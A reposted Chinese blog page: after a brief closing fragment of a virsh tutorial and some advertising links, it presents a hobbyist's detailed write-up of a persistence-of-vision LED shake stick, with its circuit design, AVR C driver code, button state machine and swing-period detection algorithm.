  當然,還有pool設置存儲池,vol設置存儲卷,snapshot設置快照,具體的,因為字數原因(怕某些同學太長不看),就不一個個碼了,你可以敲virsh --help查看具體幫助信息,不過。這幾個最常用的也就是create/start/stop/destory/list了,
  這裏舉個例子,啟動虛擬網絡:```virsh net-start 虛擬網絡名``` 創建存儲池```virsh pool-create XML描述文件名```,其他的命令可以按照這樣的方式操作,下一篇是virsh命令的具體玩(配)法(制)介紹。

這次就講到這裏了,本次內容原創純手碼,部分命令為了確認正確性,參考了arch wiki,測試環境為ARCHLINUX 5.7.4-arch1-1 桌面環境kde plasma。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※幫你省時又省力,新北清潔一流服務好口碑

※別再煩惱如何寫文案,掌握八大原則!

搖搖棒,理工男的擇偶權(上)

  • 搖搖棒,理工男的擇偶權(上)

  • 搖搖棒,理工男的擇偶權(中)

  • 搖搖棒,理工男的擇偶權(下)

 

前言

搖搖棒是載有一列LED的棒,通過適當的程序控制,在搖動起來時,由於人眼有視覺暫留現象(persistence of vision,POV),會形成一幅圖像。你可以上淘寶搜索,關注一下搖搖棒的核心參數(賣點)與显示效果。

 

一年多前,我做了一根搖搖棒,16個粉紅色LED,在520那天送給了女朋友。她很喜歡,她的同學和我的同學都很好奇。

那時候我做了兩根,當然不是因為我是渣男。另一根我帶去了高考(高二等級考)考場,內置了“全員A+”的字樣,本來想交給老師來給我們應援的,但是在烈日之下我只能很勉強地看見搖搖棒显示的字,於是就不了了之了。

我不服,又設計了搖搖棒2.0。製作完硬件以後,它就一直堆在我的書桌旁。

 

一年過去了,女朋友丟了,體重增加了,唯一不變的是我還是什麼降分約都沒有——唉,又要參加等級考了(寫作之時已經考完了)。

我想起了搖搖棒。

這一回,搖搖棒是我在高考前夕唯一的樂趣,是我在老師心中瓜皮形象的轉折點,是我作為一個理工男的擇偶權。

 

系列概述

本系列文章分為三篇:上篇介紹單機的搖搖棒,中篇介紹聯機的搖搖棒,下篇介紹圖靈完全的搖搖棒。

本文為上篇。目前進度大概到中篇的一半,但我覺得只有完成了後續(最好是所有)才能更好地審視前面的工作,用沒有回溯的思路整理成一篇博客。

寫文章要照應標題,不過這簡直就是做夢,我還是好好介紹搖搖棒吧,不去想那些有的沒的。

 

先放個效果圖吧(曝光時間0.2s):

 

核心原理

人們對搖搖棒有所好奇,無非是好奇它的核心原理,至於細節與實現,我說出來也沒有人要聽。這也是我開通博客的原因。

 

首先,棒上所有的輸入輸出設備都由程序控制,運行程序的是一塊單片機。

搖動周期是任意的(自適應的),別太誇張就行,所以搖搖棒需要檢測運動周期。用於檢測的硬件是位於棒頂端的水銀開關:

真空、密封的玻璃管中有一滴水銀,一個引腳始終與水銀接觸,另一個只有當水銀位於一端時才接觸。接觸時兩引腳導通,用一個很簡單的電路就可以把導通與否轉換成高低電平被單片機讀取。

改變水銀位置需要施力,搖搖棒運動過程中有加速度,提供了慣性力。然而,水銀開關只能指示加速度的方向,而不是更容易使用的加速度、速度、位置;加速度的方向也不能簡單地認為是一個周期內翻轉兩次——這就需要一個精巧的程序來控制。

我寫的程序能讓單片機知道(意會,別跟我杠什麼單片機沒有意識)它在一個周期中的相對位置,從而知道每一時刻該亮起圖像的哪一部分。哦對了,字符是轉換成點陣圖像存儲的,每一個像素點都是搖搖棒亮燈的依據。

於是,在一個周期中,圖像的每一列都被在對應的位置显示了一會。人眼有視覺暫留現象,這些列一起組成了一幅圖像,它的內容是字符。當然,簡單的圖案也是可以的。

 

硬件

以上為搖搖棒的原理圖,可以分為以下幾個部分:

  • 供電:18650電池座、電源開關、SX1308(B628)升壓、AMS1117-3.3穩壓;

    搖搖棒1.0直接用3.7V鋰離子電池供電,但實際電壓為2.7V到4.2V,亮度差異很大;2.0的供電部分先升壓到5V,為了便於在高亮度下控制亮度。

    藍牙模塊需要3.3V電源,所以加了個LDO。

  • 控制:ATMega328P單片機、晶振、ISP下載接口;

    單片機選擇的是我最擅長的AVR系列中的ATmega328P,與爛大街的Arduino相同(但我沒從那邊抄過哪怕一行代碼)。晶振是20MHz的,官方允許的最高頻率,為了獲得更好的性能。

    下載器接口是我自己定義的ISP接口,比標準的佔用更少空間,但畢竟是非標準的,這是個歷史遺留問題。

  • 輸入:電池電壓檢測、水銀開關、光敏電阻、按鍵×2;

    水銀開關接通時,SWC為低電平;斷開時,由於沒有負載,SWC為高電平;R05稱為上拉電阻。這就是那個很簡單的電路。電容C04本來想用於濾波的,實測反而礙事,拿掉了。兩個按鍵同理,上拉電阻在單片機內部配置。

    光敏電阻R06阻值與光強負相關,與定值電阻R07分壓后的輸出電壓與光強正相關,接到單片機的ADC(模-數轉換器)上,從而檢測環境光強度並調整亮度,深夜寫代碼與陽光下展(liào)示(mèi)都能適配。

  • 輸出:5片74HC595、2個N溝道MOS管、32個藍綠雙色LED、2個RGBW LED;

    595是串行轉并行芯片,MOS是一種三極管,詳見AVR單片機教程——矩陣鍵盤。595輸出串聯排阻後接LED再接到MOS管,連接方式下面細說。

    單片機上DAT1DAT3DAT4CLKSTO引腳控制595,前3個是數據信號。設計3個數據信號是為了加速輸出,不過最快的輸出方式是用SPI,沒有用它是設計上的失誤。

  • 藍牙:藍牙模塊、簡單的電平轉換電路。

    中篇內容,跳過。

 

兩個RGBW共8個燈,剛好對應595的8個輸出。不幸的是,595位於下方RGBW的背面,而另一個RGBW位於頂端,在狹窄的PCB中避開其他元器件和信號線走4根線並不容易,這是PCB布線的難點。也許還有別的難點,只是時間太久遠,我已經忘了。

595輸出串聯電阻後接LED,輸出低電平時LED不亮,高電平時有電流因而亮,電阻起到限流作用。不同顏色的燈串聯不同阻值的電阻是為了平衡亮度,在RGB都點亮時顏色接近白色。

4片595輸出LED0LED31,越上方的編號越小。每個藍綠雙色LED的兩個陽極共同連接一個LEDx信號,綠、藍陰極分別連接到GRNBLU,是兩個MOS管的漏極。當Q的柵極GRNC為高電平時,漏極和連接到GND的源極之間導通,電阻忽略不計,如果此時LEDx為高電平則對應綠燈亮起;低電平時不導通,無論LEDx如何,綠燈一個都不會亮——這段時間留給藍燈。

簡而言之,GRNC為高電平時595控制綠燈,BLUC為高電平時595控制藍燈。如果GRNCBLUC的電平轉換非常快,快到電平變化的一個周期內LED只移動了很小一段距離,看起來就是天藍色的。而事實上,GRNCBLUC的電平變化還沒那麼簡單。

 

PCB渲染圖如上。大致布局是,正面最上方水銀開關和光敏電阻,往下一個RGBW、32個藍綠、一個RGBW,IC和電阻等貼片器件都在反面對應的位置。然後是下載器接口、電源開關、兩個按鍵、電感、晶振,最後是電池,反面有升壓電路、單片機、藍牙模塊等。在手握搖搖棒時這些元器件會被碰到,影響正常工作,所以全部被我蓋了一層熱熔膠:

畢竟圖吧簽到12級。

 

硬件設計決定了搖搖棒功能的上限。比如,它不可能显示紅色的圖像(除非你能搖得快到紅移)。

本篇中搖搖棒能實現的功能有:

  • 以任意的藍綠組合顏色呈現圖像,包括漸變色;

  • 自動根據環境光強調整显示亮度;

  • 用按鍵切換显示圖像、複位周期檢測、調整亮度等。

 

驅動

這個項目不算簡單,所以我要加上驅動層,把底層的寄存器操作封裝成C語言函數,在適當的地方提供回調接口。後面將看到驅動層之上並非直接是應用程序,驅動負責到哪一步也是一個問題。我的想法是,應用程序不需要插入代碼的地方就封裝,否則就留給上層解決;明顯的異步操作用回調。

驅動層主要包括以下接口:

  1. LED,規定數據格式,提供以一定亮度亮燈的函數;

  2. 水銀開關,檢測加速度方向,附帶濾波;

  3. 按鍵,封裝按鍵雙擊、長按等高級事件;

  4. ADC,檢測電源電壓與光強,後者可以異步;

  5. 定時器,程序結構的核心,定時回調與全局時鐘;

  6. 藍牙,依舊跳過。

詳解一下奇數編號的驅動。

 

LED

32個雙色LED加上2個RGBW的模式可以用5個字節表示,我規定第[0]字節的最低位對應最上方的LED,第[3]字節的最高位對應最下方,第[4]字節最低位對應上方RGBW的紅色,最高位對應下方RGBW的白色。這樣就不難寫出驅動5片595的代碼:

uint8_t d0, d1, d2;
d0 = data[0];
d1 = data[2];
for (uint8_t i = 0; i != 8; ++i)
{
    cond_bit(read_bit(d0, 0), PORTC, 0);
    cond_bit(read_bit(d1, 0), PORTC, 1);
    d0 >>= 1;
    d1 >>= 1;
    clock_bit(PORTC, 3);
}
d0 = data[1];
d1 = data[3];
d2 = data[4];
for (uint8_t i = 0; i != 8; ++i)
{
    cond_bit(read_bit(d0, 0), PORTC, 0);
    cond_bit(read_bit(d1, 0), PORTC, 1);
    cond_bit(read_bit(d2, 0), PORTC, 2);
    d0 >>= 1;
    d1 >>= 1;
    d2 >>= 1;
    clock_bit(PORTC, 3);
}
clock_bit(PORTC, 4);

其中的位操作宏定義為:

#define set_bit(r, b) ((r) |= (1u << (b)))
#define reset_bit(r ,b) ((r) &= ~(1u << (b)))
#define read_bit(r, b) ((r) & (1u << (b)))
#define cond_bit(c, r, b) ((c) ? set_bit(r, b) : reset_bit(r, b))
#define flip_bit(r, b) ((r) ^= (1u << (b)))
#define clock_bit(r, b) (flip_bit(r, b), flip_bit(r, b)
#define bit_mask(n, b) (((1u << (n)) - 1) << (b))

配合GRNCBLUC的高低電平可以显示出綠、藍和天藍色,但這還不算完。GRNCBLUC連接到單片機的OC0AOC0B引腳,它們是定時器0的波形輸出引腳,可以產生PWM波。一個PWM周期內一段時間高電平,對應LED亮,低電平時暗,切換快到人眼完全看不出來,從而感覺到亮度是均勻的,與PWM占空比正相關的。一會讓GRNC輸出PWM波,BLUC保持低電平,一會相反,切換依然快到看不出來,於是就實現了任意的藍綠亮度組合。

原先這種設計只是為了解決藍綠亮度不相同的問題,後來漸漸地發展出了漸變色的功能。

typedef enum
{
    COLOR_NONE, COLOR_GREEN, COLOR_BLUE
} color_t;

void led_set(color_t color, uint8_t duty, const uint8_t data[5])
{
    TCCR0A &= ~(bit_mask(2, COM0A0) | bit_mask(2, COM0B0));
    // ...
    uint8_t com0x;
    volatile uint8_t* ocr0x;
    switch (color)
    {
    case COLOR_GREEN:
        com0x = 0b10 << COM0A0;
        ocr0x = &OCR0A;
        break;
    case COLOR_BLUE:
        com0x = 0b10 << COM0B0;
        ocr0x = &OCR0B;
        break;
    default:
        return;
    }
    if (duty == 0)
        return;
    TCCR0A |= com0x;
    *ocr0x = duty - 1;
    TCNT0 = 0xFF;
}

中間省略的是上面那段代碼。

 

按鍵

我一直想寫一個能處理長按、雙擊等事件的按鍵庫,這次正是一個機會。至少在這一篇中,按鍵是控制好搖搖棒的唯一方式。而按鍵一共只有兩個,為了使輸入方式更豐富,就只能在每個按鍵的事件種類上動手腳。

首先要消抖。按鍵在被按下和抬起的過程中,電平並不是直上直下的,可能存在抖動。如果把每一次跳變都算一個事件的話,隨意按一下可能就被算作雙擊了,所以需要消抖。我用的是最簡單的消抖方法:用一個變量記錄按鍵的狀態,當按鍵的電平與原狀態不同且保持10ms不變時,才認為此時按鍵進入新的狀態。水銀開關的消抖也是類似的。

#include <avr/io.h>

#define BUTTON_COUNT 2

static bool pin[BUTTON_COUNT];
static uint8_t filter[BUTTON_COUNT] = {0};

static inline bool button_read(uint8_t which)
{
    switch (which)
    {
    case 0:
        return read_bit(PINB, 1);
    case 1:
        return read_bit(PINB, 2);
    }
    return false;
}

static inline button_event_t button_filter(uint8_t which)
{
    if (which >= BUTTON_COUNT)
        return false;
    bool now = button_read(which);
    if (now == pin[which])
        filter[which] = 0;
    else if (++filter[which] == 50)
    {
        pin[which] = now;
        filter[which] = 0;
        return now ? BUTTON_LEFT_RELEASED : BUTTON_LEFT_PRESSED;
    }
    return BUTTON_NONE;
}

void button_init()
{
    set_bit(PORTB, 1);
    set_bit(PORTB, 2);
    for (uint8_t i = 0; i != BUTTON_COUNT; ++i)
        pin[i] = button_read(i);
}

定義三種模式,最複雜的模式中包括以下事件:

typedef enum
{
    MODE_NONE, MODE_SIMPLE, MODE_ADVANCED
} button_mode_t;

typedef enum
{
    BUTTON_NONE,
    BUTTON_LEFT_PRESSED, BUTTON_LEFT_RELEASED,
    BUTTON_LEFT_SHORT, BUTTON_LEFT_LONG, BUTTON_LEFT_CONT,
    BUTTON_LEFT_DOUBLE,
    BUTTON_RIGHT_PRESSED, BUTTON_RIGHT_RELEASED,
    BUTTON_RIGHT_SHORT, BUTTON_RIGHT_LONG, BUTTON_RIGHT_CONT,
    BUTTON_RIGHT_DOUBLE,
    BUTTON_BOTH
} button_event_t;

BUTTON_LEFT_CONT指左按鍵長按以後保持按下的事件,每100毫秒觸發一次;BUTTON_BOTH是兩個按鍵同時按下的事件。

函數button_get()返回一個button_event_t變量。每次調用只更新一個按鍵,因此不會有多個返回值。該函數需要客戶輪詢。

同時處理這麼多事件的方法是用狀態機:

BOTHFREE的轉移條件為另一個按鍵也處於BOTH狀態。具體timeout值見下面的代碼,代碼中數值除以5得到毫秒數。

比如,0ms時按下,200ms時抬起,400ms時按下,600ms時抬起,狀態轉移過程為:

  1. 0ms,FREEBOTH

  2. 100ms,BOTHSHORT,事件PRESSED

  3. 200ms,SHORTDOUBLE

  4. 400ms,DOUBLEFREE,事件DOUBLE

typedef enum
{
    STATE_FREE, STATE_BOTH, STATE_SHORT, STATE_DOUBLE, STATE_LONG
} state_t;

static button_mode_t mode = MODE_NONE;
static const button_event_t base[BUTTON_COUNT] = {0, BUTTON_RIGHT_PRESSED - BUTTON_LEFT_PRESSED};
static state_t state[BUTTON_COUNT];
static uint16_t count[BUTTON_COUNT];
static uint8_t turn = 0;

void button_mode(button_mode_t m)
{
    if (mode == m)
        return;
    mode = m;
    if (m == MODE_ADVANCED)
        for (uint8_t i = 0; i != BUTTON_COUNT; ++i)
            state[i] = STATE_FREE;
}

button_event_t button_get()
{
    button_event_t result = BUTTON_NONE;
    button_event_t filter = button_filter(turn);
    if (mode == MODE_SIMPLE)
        result = filter;
    else if (mode == MODE_ADVANCED)
    {
        switch (state[turn])
        {
        case STATE_FREE:
            if (filter == BUTTON_LEFT_PRESSED)
            {
                state[turn] = STATE_BOTH;
                count[turn] = 0;
            }
            break;
        case STATE_BOTH:
        {
            uint8_t other = 1 - turn;
            if (state[other] == STATE_BOTH)
            {
                result = BUTTON_BOTH;
                state[turn] = STATE_FREE;
                state[other] = STATE_FREE;
            }
            else if (filter == BUTTON_LEFT_RELEASED)
            {
                result = BUTTON_LEFT_PRESSED;
                state[turn] = STATE_DOUBLE;
                count[turn] = 0;
            }
            else if (++count[turn] == 500)
            {
                result = BUTTON_LEFT_PRESSED;
                state[turn] = STATE_SHORT;
                count[turn] = 0;
            }
            break;
        }
        case STATE_SHORT:
            if (filter == BUTTON_LEFT_RELEASED)
            {
                state[turn] = STATE_DOUBLE;
                count[turn] = 0;
            }
            else if (++count[turn] == 2500)
            {
                result = BUTTON_LEFT_LONG;
                state[turn] = STATE_LONG;
                count[turn] = 0;
            }
            break;
        case STATE_DOUBLE:
            if (filter == BUTTON_LEFT_PRESSED)
            {
                result = BUTTON_LEFT_DOUBLE;
                state[turn] = STATE_FREE;
            }
            else if (++count[turn] == 500)
            {
                result = BUTTON_LEFT_SHORT;
                state[turn] = STATE_FREE;
            }
            break;
        case STATE_LONG:
            if (filter == BUTTON_LEFT_RELEASED)
            {
                result = BUTTON_LEFT_RELEASED;
                state[turn] = STATE_FREE;
            }
            else if (++count[turn] == 500)
            {
                result = BUTTON_LEFT_CONT;
                count[turn] = 0;
            }
            break;
        }
    }
    if (result != BUTTON_NONE && result != BUTTON_BOTH)
        result += base[turn];
    if (++turn == BUTTON_COUNT)
        turn = 0;
    return result;
}

 

廢話兩句。以前上課的時候有人問我單片機按鍵雙擊怎麼寫,當時我心裏還沒底,因為沒寫過,就讓他多加一個按鍵。這時我們老師說,註冊一個回調就可以了呀!

嗯,算你懂得回調。

 

定時器

程序中主循環的周期為0.1ms,但是一個周期中執行指令的時間相比於周期長度而言已經不可忽略,為了精準地控制時間,需要使用定時器。沒錯,這裏的定時器和之前提到的用於產生PWM波的是同一類東西,不同的是之前用的是定時器0,這裏用的是定時器2,兩者互不干擾。

設置定時器2分頻係數為8,匹配值為250,則每2000個CPU時鐘周期產生一个中斷。CPU時鐘頻率為20MHz,因此定時器中斷的間隔為0.1ms。客戶須在每次中斷中調用button_get,這就是除以5得到毫秒數的原理。

定時器中斷有兩項職責,一是維護一個時鐘,每一周期增加1,可重置,主要用於水銀開關周期檢測;二是調用上層的回調函數timer_handler,驅動中僅聲明為extern(另一種方法是通過函數指針註冊回調)。

#include <avr/io.h>
#include <avr/interrupt.h>

static uint16_t tick = 0;

ISR(TIMER2_COMPA_vect)
{
    ++tick;
    timer_handler();
}

void timer_init()
{
    if (0)
        TIMER2_COMPA_vect();
    TCCR2A = 0b10 << WGM20;
    TCCR2B = 0 << WGM22 | 0b010 << CS20;
    OCR2A = 249;
    TIMSK2 = 1 << OCIE2A;
    sei();
}

void clock_reset()
{
    tick = 0;
}

uint16_t clock_get()
{
    return tick;
}

 

應用程序

驅動封裝了硬件操作,而用戶只想關心显示什麼內容,兩者之間還需要插入一層,這一層主要實現運動周期檢測,並在周期中合適的時刻根據用戶提供的數據進行显示。

兩層之間用回調函數和配置信息耦合。回調函數包括定時器回調、按鍵事件回調與圖像更新回調;配置信息定義如下:

typedef struct
{
    uint8_t width;
    uint8_t height_byte;
    const uint8_t* display;
    uint8_t in_flash : 1;
    uint8_t bright;
    uint8_t color;
    uint8_t rgbw;
} Config;

display指向點陣數據,共width * height_byte字節,每height_byte字節表示一列,RGBW另存。

客戶通過set_config函數更新配置,Config參數被立即拷貝到一個特定的位置,但不會立即應用於显示,而是等待當前显示周期(即運動周期)結束,在下次更新中應用,簡而言之配置被緩衝了。

 

在C語言中,即使一個數組聲明為const,它也存放在RAM中,但是ATmega328P只有2k字節RAM,显示的字數很多的話會放不下。AVR編程中可以用PROGMEM宏指定數據存放在flash中,in_flash即表示點陣是否存儲在flash中。

#include <stdint.h>
#include <avr/pgmspace.h>

static const uint8_t jiayou[] PROGMEM =
{
    0x00, 0x00, 0x00, 0x40, 0x00, 0x40, 0x40, 0x00, 0x20, 0x40, 0x00, 0x18,
    0x40, 0x00, 0x07, 0x40, 0xF8, 0x09, 0xFE, 0x1F, 0x08, 0x40, 0x00, 0x10,
    0x40, 0x00, 0x30, 0x40, 0x00, 0x18, 0xC0, 0xFF, 0x0F, 0xC0, 0x07, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0x7F, 0x40, 0x00, 0x08,
    0x40, 0x00, 0x08, 0x40, 0x00, 0x08, 0x40, 0x00, 0x08, 0x40, 0x00, 0x08,
    0xC0, 0xFF, 0x3F, 0x40, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x01, 0x02, 0x00, 0x07, 0x72,
    0x08, 0x06, 0x7F, 0x18, 0xE0, 0x01, 0x10, 0x18, 0x00, 0x00, 0x07, 0x00,
    0xC0, 0x00, 0x00, 0xC0, 0xFF, 0x7F, 0xC0, 0xFF, 0x7F, 0x40, 0x20, 0x10,
    0x40, 0x20, 0x10, 0x40, 0x20, 0x10, 0xFE, 0xFF, 0x1F, 0xFE, 0xFF, 0x1F,
    0x40, 0x20, 0x10, 0x40, 0x20, 0x10, 0x40, 0x20, 0x10, 0xC0, 0xFF, 0x7F,
    0xC0, 0xFF, 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};

(點陣數據可用PCtoLCD2002生成;原諒我用拼音命名變量。)

指向flash中數據的指針與普通指針相同,但是不能直接解引用,要先用memcpy_P函數拷貝到RAM中:

memcpy_P(display.current, display.ptr + display.phase * display.height_byte, display.height_byte);

並不是所有點陣數據都放在flash中,比如程序還可以通過藍牙接收數據,把它寫進flash就太麻煩了。

 

程序結構為,先執行初始化,包括硬件與變量,然後進入死循環,保持程序運行。初始化的最後是啟動定時器,隨後定時器會每0.1ms產生一次中斷,所有實際工作都在中斷中完成。

int main()
{
    startup();
    while (1)
        ;
}

 

周期檢測

那時做完第一版發了個朋友圈,就有人問這個問題:

的確,周期檢測是搖搖棒的難點(對於那些問我“把搖搖棒放在桌上不動能不能显示”的人就不是了),是我寫第一版甚至第二版的程序時唯一心慌的地方。雖然免去了為MPU6050寫I²C驅動的煩惱,但5毛錢的水銀開關也自有麻煩之處。讓我們來一探究竟吧!

 

水銀開關電路的輸出信號首先要經過濾波,這是驅動層封裝好的:

typedef enum
{
    MERCURY_NONE, MERCURY_LEFT, MERCURY_RIGHT
} mercury_event_t;

static bool status;
static uint16_t count = 0;

static inline bool mercury_read()
{
    return !read_bit(PINB, 0);
}

void mercury_init()
{
    status = mercury_read();
}

mercury_event_t mercury_get()
{
    bool now = mercury_read();
    if (now == status)
        count = 0;
    else if (++count == 100)
    {
        status = now;
        count = 0;
        return now ? MERCURY_RIGHT : MERCURY_LEFT;
    }
    return MERCURY_NONE;
}

 

然後就是算法的主體部分。算法可以用狀態機描述,只有穩定與不穩定兩個狀態,用stable變量表示,初始值為falseperiod為上一周期的長度,單位為定時器周期即0.1ms,是兩個狀態共用的;計數器count在兩個狀態中有不同的含義,但共用一個變量。

算法只監聽水銀珠從右到左這一事件,大致上是棒從右到左經過中點。定義局部變量uint16_t clock = clock_get();,表示當前周期已經持續的時間。大多數分支都會調用clock_reset複位時鐘,並在使用完clock后把它寫為0,標志著新的周期開始。

在不穩定狀態中,要想進入穩定狀態,必須連續若干次滿足以下條件:本次周期長度大於前一周期的0.5倍並且小於1.5倍。count記錄這一條件成立的次數,一旦某一次條件不成立則清零,並把period更新為當前周期長度。目標次數被設置為2。

在穩定狀態中,根據周期長度分3類討論:

  1. 周期長度大於等於前一周期的0.75倍並且小於1.5倍,這意味着當前周期和上一周期差不多長,用戶在穩定地搖動。把period設為兩個周期的平均值,這樣可以允許周期緩慢變化。

  2. 周期長度小於0.75倍,這可能是噪音導致的,應該忽略,不複位時鐘。但是這種情況連續出現很多次就不對了,用count記錄次數,達到一定值時要進入不穩定狀態。這個值被設置為2。

  3. 周期長度大於等於1.5倍,用戶停止了搖動,直接進入不穩定狀態。事實上停止搖動后LED還會閃一下,因為不免存在抖動,導致程序又判定出一個周期。

測試過程中發現,如果突然把搖動頻率翻倍,由於有第2個分支的存在,算法會把兩個周期判定為一個;有時剛開始搖動就會這樣。解決這個問題需要在分支1和2中動點手腳:用half_flag表示分支1中clock是否是period的一半,具體來講是3/8到5/8;half_count表示連續出現“一周期中進入分支1一次且half_flag為真”的次數。當half_count達到2時就可以認為算法進入了錯誤的狀態,需要減半period以恢復正常。

bool stable;
uint16_t period;
uint8_t count;
bool half_flag;
uint8_t half_count;

void timer_handler()
{
    // ...
    uint16_t clock = clock_get();
    if (mercury_get() == MERCURY_LEFT)
    {
        if (stable)
        {
            if (clock < period * 3 / 4)
            {
                if (++count == 2)
                {
                    stable = false;
                    count = 0;
                }
                if (period * 3 / 8 < clock && clock < period * 5 / 8)
                {
                    half_flag = true;
                }
            }
            else if (clock < period * 3 / 2)
            {
                clock_reset();
                if (count == 1 && half_flag)
                {
                    if (++half_count == 2)
                    {
                        half_count = 0;
                        clock = 0;
                    }
                }
                else
                {
                    half_count = 0;
                }
                period = (period + clock) / 2;
                count = 0;
                half_flag = false;
                clock = 0;
            }
            else
            {
                stable = false;
                count = 0;
            }
        }
        else
        {
            clock_reset();
            if (period / 2 < clock && clock < period * 3 / 2)
            {
                if (++count == 2)
                {
                    stable = true;
                    period = (period + clock) / 2;
                    count = 0;
                    half_flag = false;
                    half_count = 0;
                    clock = 0;
                }
            }
            else
            {
                period = clock;
                count = 0;
            }
        }
    }
    // ...
}

 

知道了周期長度與起始時刻,也就知道了每一時刻在周期中的位置。一個周期的3/8到5/8,也就是從左到右中間的部分,可以显示圖像,显示的列隨clock均勻變化,由於中間段接近勻速,显示的圖像是比較均勻的。

為什麼不在從右到左過程中显示呢?因為周期起始的位置並不精確地是正中間,還受周期、重力和手的影響,取3/8到5/8而不是1/4到3/4就包含對這些因素的考量。如果在相差半個周期的位置也显示的話,兩幅圖像肯定無法重合,即使動態調整位置也無濟於事。

 

性能優化

也許你已經注意到,上面的代碼中從未出現過int,只有uint8_tuint16_t等確定長度的整數類型。這樣做可以帶來可移植性,更重要的是AVR作為8位單片機對整數長度十分敏感,能用8位就不要用16位。

mega系列有雙周期硬件乘法器,但沒有硬件除法器,除數確定的除法編譯器會轉化為乘法來計算,不確定的就只能調用除法路徑了。這種除法偶爾算一次還行,每個定時器周期都算就會嚴重拖慢速度,比如這句判斷是否該切換列的語句:

if (clock == period * 3 / 8 + (uint32_t)period * phase / width / 4)
    // ...

要加uint32_t轉換是因為perioduint16_t類型,整數提升成unsigned intint是16位整型),計算結果為unsigned類型,但實際乘積會溢出,就不得不轉換成更長的long。這下可好,每周期計算32位整數除法,同時觸犯兩條禁忌。

我的性能優化就從這裏入手,逐漸擴展到所有計算過程不太簡單但不常變化的量,它們都存儲在結構體compute中:

struct
{
    uint16_t threshold_low;
    uint16_t threshold_high;
    uint16_t half_low;
    uint16_t half_high;
    uint16_t clock_base;
    uint16_t clock_step;
    uint16_t clock_compare;
    uint16_t green_step;
    uint16_t blue_step;
    uint8_t rgbw_duty;
} compute;

clock開頭的三個變量就是用來優化前述語句的。在显示周期開始,即clock == 0時,先計算:

compute.clock_base = motion.period * 3 / 8;
compute.clock_step = motion.period / display.width;
compute.clock_compare = compute.clock_base;

compute.clock_compare就是if中與clock比較的值。在display.phase增加后,需要重新計算compute.clock_compare的值,其中除以4是可以接受的計算:

compute.clock_compare = compute.clock_base + compute.clock_step * display.phase / 4;

你也許會問,為什麼不把除以4放進compute.clock_step的計算中?考慮誤差較大的情況:motion.period == 2047, display.width == 128compute.clock_step比理想值小了6.2%,圖像的寬度將壓縮為原來的93.8%;如果把除以4放進去,誤差會達到25.0%,這就比較嚴重了。

轉換為uint32_t先乘后除無疑是更加精準的,優化後由於整數除法只能得到整數結果而產生了更大的誤差,因此這裏的性能優化與編譯器優化還不同:編譯器要遵守“as-if”規則,而我是在用可接受的精度下降換取可觀的速度提升。

利用超綱的手段(藍牙),我得知優化前定時器中斷的執行時間超過了定時器周期的80%,優化後下降到了40%以下(都是-O3),性能提升十分明顯。擠出來的計算資源將會在下篇中派上用場。

 

一個相似的例子是漸變色模式中LED亮度(對應PWM占空比)的計算。原來的計算式為:

duty = led.green * phase / width;

優化以後為:

compute.green_step = (led.green << 8) / (display.width - 1);
duty = (compute.green_step * phase) >> 8;

如果不左移8位直接除,因為有整數除法的誤差,显示效果將是瞬變而不是漸變,所以我要先左移8位再右移8位,這與上面的除以4是類似的,只是更加顯式。

我的重點不在移位的藝術性上。請你看看優化后的第一個語句有什麼問題,已知三個變量的類型分別為uint16_tuint8_tuint8_t

點擊展開答案

led.green在移位運算中被提升為int(而不是unsigned),移位運算結果為int類型,除法運算結果亦為int類型。當led.green >= 128時,除法結果為負數,賦給無符號的compute.green_step,變成無符號數與phase相乘再移位。我搞不清楚結果是個什麼東西,反正显示效果不是漸變色。

解決方法很簡單,把led.green轉換成uint16_t再參与運算即可。發現這個問題花了我一個小時,真是成也摳門敗也摳門啊!

 

下期預告

另一端的效果圖見文首。

 

後記

本文中的周期檢測算法能實現其功能,並具有一定容錯與自恢復能力,但是還不完美。

即使算法能從雙倍周期中恢復出來,半速显示仍會持續至少2個理論周期,或4個實際周期。從觀賞者的角度上看,半速显示是相當醜陋的——翻轉、拉伸、邊緣畸變、交疊,可謂集大成者。有趣的是,這種自恢復是我在寫作本文期間才想到並應用的;此前我給用戶提供的對策是按下按鍵以重置算法,然而矛盾的是用戶如果要給別人展示,自己就看不到显示效果,也就無從得知這種錯誤,只會讓觀賞者覺得我是個遜仔。

這個問題也許可以歸結於性能與容錯性的權衡:要允許噪音,就必須接受短暫的半速显示。

權衡歸權衡,真正的缺陷依然存在:算法允許穩定以後周期內出現噪音,但是如果每個周期內都有噪音,也就無法進入穩定狀態,但是信號的周期仍客觀存在。其實噪音很大程度上來源於濾波沒有濾乾淨,但濾波中的時間閾值也不能設置地太高,如果要把這種噪音留到濾波后級去解決,我就不知道該怎麼辦了。

 

和搖搖棒一樣利用POV原理的還有旋轉燈,你可以在淘寶用“旋轉 POV”關鍵字搜索。旋轉燈可以說是升級版的搖搖棒,電機代替了手,無線輸電代替了電池,显示效果也上了有一個檔次,甚至可以柱面、球面显示。不過作為靈魂的水銀開關被磁傳感器替代了,所以我感覺旋轉燈的編碼難度不會高於搖搖棒,難度更偏向於硬件設計。

前两天看到一篇微信推送,視頻里出現4根棒組成的便攜式旋轉燈,甚至有旋轉燈陣列組成的屏幕,評論區直呼看不懂,我直呼羡慕。

旋轉燈局限於面显示(球面也是面),而光立方能增加一個維度,是真正的立體显示。光立方是靜態的,唯一動的部分大概就是動態掃描了,沒有一點難度,只是焊接太累了。正因工作量大且效果花哨,送給女朋友非常合適,這一點我已經驗證過了。

光立方的致命缺陷在於分辨率低,難以提高LED數量的根本原因在於它是三維的。搖搖棒是一維的,動起來以後成為二維,不難想象二維的運動起來可以變成三維——我還真在網上見過把光立方的一個面轉起來的,分辨率與維數兼得。

這些東西記在這裏,給讀者拓寬眼界,也給我自己種棵草。

 

